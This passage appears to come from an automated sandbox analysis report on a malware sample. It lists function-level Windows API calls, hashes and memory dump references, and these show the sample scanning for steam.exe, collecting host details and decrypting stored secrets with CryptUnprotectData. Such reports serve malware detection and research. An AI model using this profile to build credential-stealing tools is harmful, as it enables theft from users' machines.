Process32First.KERNEL32(00000000,00000128), ref: 005A4658
Process32Next.KERNEL32(00000000,00000128), ref: 005A466A
StrCmpCA.SHLWAPI(?,steam.exe), ref: 005A4680
Process32Next.KERNEL32(00000000,00000128), ref: 005A4692
CloseHandle.KERNEL32(00000000), ref: 005A469D

Strings

steam.exe, xrefs: 005A4674

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Process32$Next$CloseCreateFirstHandleSnapshotToolhelp32
String ID: steam.exe
API String ID: 2284531361-2826358650
Opcode ID: 4a722f9a850b4f88a9f619e1ae88b280368dcb6c8d82d948b04c6fc6fc595bf0
Instruction ID: eb8d86a4313d770f7314303e141e9fd0e0185b63a9ace10610de9a0fea8615f9
Opcode Fuzzy Hash: 4a722f9a850b4f88a9f619e1ae88b280368dcb6c8d82d948b04c6fc6fc595bf0
Instruction Fuzzy Hash: 640167715051159BD720AF64AC49FEE7B7CEF4A750F0442D5FA08D2040EFB8D9548E95

Function 005A2D00 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 235memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 005A7210: lstrcpy.KERNEL32(00000000,ERROR), ref: 005A722E

GetKeyboardLayoutList.USER32(00000000,00000000,00000000,00000000), ref: 005A2D3B
LocalAlloc.KERNEL32(00000040,00000000), ref: 005A2D4D
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 005A2D5A
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 005A2D8C
LocalFree.KERNEL32(00000000), ref: 005A2F6A

Strings

/ , xrefs: 005A2D9F

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: cbe19473166e80c1d1c49887d7ee82cb70533fd7f376a2a2367238f193179f63
Instruction ID: 64bd22ed5a22794572a3ea531ab6ba61601d26a764403a1aaa6a9b4bd58c8d3d
Opcode Fuzzy Hash: cbe19473166e80c1d1c49887d7ee82cb70533fd7f376a2a2367238f193179f63
Instruction Fuzzy Hash: 6BB12E71904209CFC715CF18C94ABA9BBF5FF45315F29C1A9E518AB2A2D7759C82CF80

Function 005A39F0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 175processCOMMON

Download Yara Rule

APIs

Part of subcall function 005A7210: lstrcpy.KERNEL32(00000000,ERROR), ref: 005A722E

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 005A3A36
Process32First.KERNEL32(00000000,00000128), ref: 005A3A49
Process32Next.KERNEL32(00000000,00000128), ref: 005A3A5F

Part of subcall function 005A7340: lstrlenA.KERNEL32(?,00586D70), ref: 005A734B
Part of subcall function 005A7340: lstrcpy.KERNEL32(00000000), ref: 005A736F
Part of subcall function 005A7340: lstrcatA.KERNEL32(?,?), ref: 005A7379

Part of subcall function 005A72B0: lstrcpy.KERNEL32(00000000), ref: 005A72DE

CloseHandle.KERNEL32(00000000), ref: 005A3B97

Strings

|V[, xrefs: 005A3A6D

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID: |V[
API String ID: 1066202413-3002219144
Opcode ID: 9afac8cb3aea5ac15e6b3449319d70fafa7aa41821fbf43db7e318bedbc6c6d2
Instruction ID: 091e2e8e6a88ee0a796271dad8b9a11d06239a09f0bc78d94545919e3611fdbe
Opcode Fuzzy Hash: 9afac8cb3aea5ac15e6b3449319d70fafa7aa41821fbf43db7e318bedbc6c6d2
Instruction Fuzzy Hash: 8581F730904219CFC715CF18C848B99BBF1FF45329F29C1A9E5195B2A2D77A9D86CF50

Function 005A2BB0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000), ref: 005A2BE2
HeapAlloc.KERNEL32(00000000), ref: 005A2BE9
GetTimeZoneInformation.KERNEL32(?), ref: 005A2BF8
wsprintfA.USER32 ref: 005A2C23

Strings

wwww, xrefs: 005A2C09

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID: wwww
API String ID: 362916592-671953474
Opcode ID: 36ab9ca1ef8f63ccd8a151cf3f1896eda362ee86647f37b30e81b75727384511
Instruction ID: 5539b1c2d7f651a4c313d24ca2a40076d61fd8a6320476b417c478b12a014b1b
Opcode Fuzzy Hash: 36ab9ca1ef8f63ccd8a151cf3f1896eda362ee86647f37b30e81b75727384511
Instruction Fuzzy Hash: 3401F771A00204ABCB189F6CDC4AFAEBB6DE785720F008329FA15DB2C0D77419008AD5

Function 00589BE0 Relevance: 6.0, APIs: 4, Instructions: 43memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00589BFF
LocalAlloc.KERNEL32(00000040,?), ref: 00589C13
memcpy.MSVCRT(00000000,?), ref: 00589C2A
LocalFree.KERNEL32(?), ref: 00589C37

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 5d03efdcdb840dc1ac01db05927aba870d18e520f83ad697efca3000d5d0be17
Instruction ID: 319ba59280bbcc773f5c5e5c34c21c047e947dc83663001f6ff994235026ed0b
Opcode Fuzzy Hash: 5d03efdcdb840dc1ac01db05927aba870d18e520f83ad697efca3000d5d0be17
Instruction Fuzzy Hash: BC01FB75A4130AABD7109BA4DC49FAABB78EB44700F108158FE04AB280D7B59E00CBE5

Function 005A29E0 Relevance: 4.5, APIs: 3, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,00000000), ref: 005A2A0F
HeapAlloc.KERNEL32(00000000), ref: 005A2A16
GetUserNameA.ADVAPI32(00000000,00000104), ref: 005A2A2A

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 12ad3ce2efa12688f139c87a3f23eb88d995350afce916c788a07e883b917d98
Instruction ID: baaf8232ca6c3bec867e44c012ebf706b92bf547ce7df00f19ae73443cebd3e8
Opcode Fuzzy Hash: 12ad3ce2efa12688f139c87a3f23eb88d995350afce916c788a07e883b917d98
Instruction Fuzzy Hash: 7CF0B4B1A44204AFC700DF88DD49F9EBBBCF748B21F000216FA14E3280D7B8190486A1

Function 005A3190 Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,00000000,00000000,?), ref: 005A31BF
wsprintfA.USER32 ref: 005A31D5

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 22530b1dabef5a03816a01962ae6a188d93ce1c57515cf736c096f6f7e42177d
Instruction ID: be425bb2bdff14b3ffceea5435a6716c169337399ae2cf1abfeddd17647ff202
Opcode Fuzzy Hash: 22530b1dabef5a03816a01962ae6a188d93ce1c57515cf736c096f6f7e42177d
Instruction Fuzzy Hash: 4EF090B1940208AFCB10DF84EC45FEDFB7DFB48A10F00866AF90592280D7782904CAA5

Function 0058C010 Relevance: 135.2, APIs: 89, Instructions: 1713stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 0058C050
lstrlenA.KERNEL32(011DD908), ref: 0058C060
lstrcpy.KERNEL32(00000000,?), ref: 0058C09A
lstrcatA.KERNEL32(00000000,?), ref: 0058C0A2
lstrlenA.KERNEL32(005B1D5C), ref: 0058C0AD
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C0CE
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 0058C0DA
lstrcpy.KERNEL32(00000000,?), ref: 0058C107
lstrcatA.KERNEL32(00000000,00000000), ref: 0058C112
lstrlenA.KERNEL32(011DD948), ref: 0058C120
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C14C
lstrcatA.KERNEL32(00000000,011DD948), ref: 0058C154
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C187
lstrcpy.KERNEL32(00000000,?), ref: 0058C1C9
lstrcatA.KERNEL32(00000000,?), ref: 0058C1D1
lstrlenA.KERNEL32(005B1D5C), ref: 0058C1DC
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C1FD
lstrcatA.KERNEL32(00000000,005B1D5C), ref: 0058C209
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C234
lstrcatA.KERNEL32(00000000,00000000), ref: 0058C23F
lstrlenA.KERNEL32(005B5158), ref: 0058C24A
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C26E
lstrcatA.KERNEL32(00000000,005B5158), ref: 0058C27A
lstrcpy.KERNEL32(00000000,?), ref: 0058C2A3
lstrcatA.KERNEL32(00000000,00000000), ref: 0058C2AE
lstrlenA.KERNEL32(011DD948), ref: 0058C2BE
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C2E6
lstrcatA.KERNEL32(00000000,00000000), ref: 0058C2F2
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C325
lstrcpy.KERNEL32(00000000,005AD014), ref: 0058C3C4
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C41B
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C45B
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C49B
lstrlenA.KERNEL32(011DD928), ref: 0058C4A9
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C4D9
lstrcatA.KERNEL32(00000000,011DD928), ref: 0058C4E1
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C50E
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C5B2
lstrcatA.KERNEL32(00000000,?), ref: 0058C5BA
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C5E5
lstrlenA.KERNEL32(005B5094), ref: 0058C65C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C686
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058C692
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C6BE
lstrlenA.KERNEL32(011DD788), ref: 0058C738
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C768
lstrcatA.KERNEL32(00000000,011DD788), ref: 0058C770
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C79D
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C83E
lstrcatA.KERNEL32(00000000,?), ref: 0058C846
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C871
lstrlenA.KERNEL32(005B5094), ref: 0058C8E8
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C90F
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058C91B
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C947
lstrlenA.KERNEL32(011DD858), ref: 0058C9C1
lstrcpy.KERNEL32(00000000,00000000), ref: 0058C9F1
lstrcatA.KERNEL32(00000000,011DD858), ref: 0058C9F9
lstrcpy.KERNEL32(00000000,00000000), ref: 0058CA26
lstrcpy.KERNEL32(00000000,00000000), ref: 0058CACA
lstrcatA.KERNEL32(00000000,?), ref: 0058CAD2
lstrcpy.KERNEL32(00000000,00000000), ref: 0058CAFD
lstrlenA.KERNEL32(005B5094), ref: 0058CB74
lstrcpy.KERNEL32(00000000,00000000), ref: 0058CB9E
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058CBAA
lstrcpy.KERNEL32(00000000,00000000), ref: 0058CBD6
lstrlenA.KERNEL32(011DD868), ref: 0058CC50
lstrcpy.KERNEL32(00000000,00000000), ref: 0058CC80
lstrcatA.KERNEL32(00000000,011DD868), ref: 0058CC88
lstrcpy.KERNEL32(00000000,00000000), ref: 0058CCB3
lstrcpy.KERNEL32(00000000,005AD014), ref: 0058CD50
lstrcpy.KERNEL32(00000000,?), ref: 0058CDBA
lstrcpy.KERNEL32(00000000,?), ref: 0058CE09
lstrcatA.KERNEL32(00000000,00000000), ref: 0058CE13
lstrcpy.KERNEL32(00000000,00000000), ref: 0058CE3F
lstrcpy.KERNEL32(00000000,?), ref: 0058CF63
lstrcatA.KERNEL32(00000000,00000000), ref: 0058CF6F
lstrcpy.KERNEL32(00000000,00000000), ref: 0058CF96
lstrlenA.KERNEL32(005B5094), ref: 0058D00D
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D034
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058D040
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D06C
lstrlenA.KERNEL32(005B5094), ref: 0058D0E3
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D107
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058D113
lstrcpy.KERNEL32(00000000,00000000), ref: 0058D143
lstrlenA.KERNEL32(?), ref: 0058D396
lstrlenA.KERNEL32(?), ref: 0058D3A2
lstrcpy.KERNEL32(00000000,?), ref: 0058D3CC

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: 465e7a6db8fa3bb47b298e8846166f388d4188f60b91861b2869cfd108e62a8e
Instruction ID: 2b9cc5a8e0a30da6b3a8be30b4d164942556a5c3bf021348662781dddea76efe
Opcode Fuzzy Hash: 465e7a6db8fa3bb47b298e8846166f388d4188f60b91861b2869cfd108e62a8e
Instruction Fuzzy Hash: 0DE238306052069FDB24EF29C848B2ABFF5BF84314F18C56DE959AB2A1D735DC42CB61

Function 0058A3A0 Relevance: 118.0, APIs: 78, Instructions: 1045stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 0058A3DE
lstrlenA.KERNEL32(011DFFB0), ref: 0058A3EE
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A412
lstrcatA.KERNEL32(00000000,00000000), ref: 0058A41E
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A445
lstrcpy.KERNEL32(00000000,?), ref: 0058A483
lstrcatA.KERNEL32(00000000), ref: 0058A48D
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A4B8
CopyFileA.KERNEL32(?,00000000,00000001), ref: 0058A4D5
lstrcpy.KERNEL32(00000000,005AD014), ref: 0058A505
lstrcpy.KERNEL32(00000000,005AD014), ref: 0058A572
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A5CB
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A60B
lstrcpy.KERNEL32(00000000,?), ref: 0058A670
lstrcpy.KERNEL32(00000000,?), ref: 0058A6C0
lstrlenA.KERNEL32(00000000), ref: 0058A737
lstrlenA.KERNEL32(011DFDE8), ref: 0058A750
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A77E
lstrcatA.KERNEL32(00000000,00000000), ref: 0058A78A
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A7B6
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A7E6
lstrcatA.KERNEL32(00000000,00000000), ref: 0058A7F1
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A81A
lstrlenA.KERNEL32(005B5094), ref: 0058A82C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A84D
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058A859
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A882
lstrlenA.KERNEL32(011DFFE0), ref: 0058A899
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A8C4
lstrcatA.KERNEL32(00000000,00000000), ref: 0058A8D0
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A8FC
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A92D
lstrcatA.KERNEL32(00000000,00000000), ref: 0058A938
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A961
lstrlenA.KERNEL32(005B5094), ref: 0058A973
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A994
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058A9A0
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A9C9
lstrlenA.KERNEL32(011DD8A8), ref: 0058A9E0
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AA0B
lstrcatA.KERNEL32(00000000,00000000), ref: 0058AA17
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AA43
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AA79
lstrcatA.KERNEL32(00000000,00000000), ref: 0058AA85
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AAB1
lstrlenA.KERNEL32(005B5094), ref: 0058AAC3
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AAE7
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058AAF3
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AB1F
lstrlenA.KERNEL32(011DD7F8), ref: 0058AB36
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AB61
lstrcatA.KERNEL32(00000000,00000000), ref: 0058AB6D
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AB99
lstrcpy.KERNEL32(00000000,00000000), ref: 0058ABCF
lstrcatA.KERNEL32(00000000,00000000), ref: 0058ABDB
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AC07
lstrlenA.KERNEL32(005B5094), ref: 0058AC19
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AC3D
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058AC49
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AC75
lstrlenA.KERNEL32(011DFF08), ref: 0058AC8C
lstrcpy.KERNEL32(00000000,00000000), ref: 0058ACB7
lstrcatA.KERNEL32(00000000,00000000), ref: 0058ACC3
lstrcpy.KERNEL32(00000000,00000000), ref: 0058ACEF
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AD25
lstrcatA.KERNEL32(00000000,00000000), ref: 0058AD31
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AD5D
lstrlenA.KERNEL32(005B5094), ref: 0058AD6F
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AD93
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058AD9F
lstrcpy.KERNEL32(00000000,00000000), ref: 0058ADC9
lstrlenA.KERNEL32(005B5094), ref: 0058ADDB
lstrcpy.KERNEL32(00000000,00000000), ref: 0058ADFC
lstrcatA.KERNEL32(00000000,005B5094), ref: 0058AE08
lstrcpy.KERNEL32(00000000,00000000), ref: 0058AE34
lstrlenA.KERNEL32(?), ref: 0058AF4B
lstrcpy.KERNEL32(00000000,?), ref: 0058AF7C
DeleteFileA.KERNEL32(00000000), ref: 0058AFEE

Memory Dump Source

Source File: 00000000.00000002.1974441633.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1974427080.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974476116.00000000005B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.0000000000635000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974489166.00000000007B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1974641389.00000000007CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_glpEv3POe7.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$File$CopyDelete
String ID:
API String ID: 2613238465-0
Opcode ID: 2853213a1713e7909a0b946ec490d8dba37890eb03f57fa2a295e378e793d4d4
Instruction ID: e2ba711c54891894a552ffb0762475f50ecb3ffbdaecf7a079a37de6c90ffe72
Opcode Fuzzy Hash: 2853213a1713e7909a0b946ec490d8dba37890eb03f57fa2a295e378e793d4d4
Instruction Fuzzy Hash: FD828B305052069BEB25BF28C94CB2B7FE9BF84704F04866AFD45A7261DB34DC41CB96

Function 0058A3B9 Relevance: 118.0, APIs: 78, Instructions: 1033stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,005AD014), ref: 0058A3DE
lstrlenA.KERNEL32(011DFFB0), ref: 0058A3EE
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A412
lstrcatA.KERNEL32(00000000,00000000), ref: 0058A41E
lstrcpy.KERNEL32(00000000,00000000), ref: 0058A445
lstrcpy.KERNEL32(00000000,?), ref: 0058A483
lstrcatA.KERNEL32(00000000), ref: 0058A48D
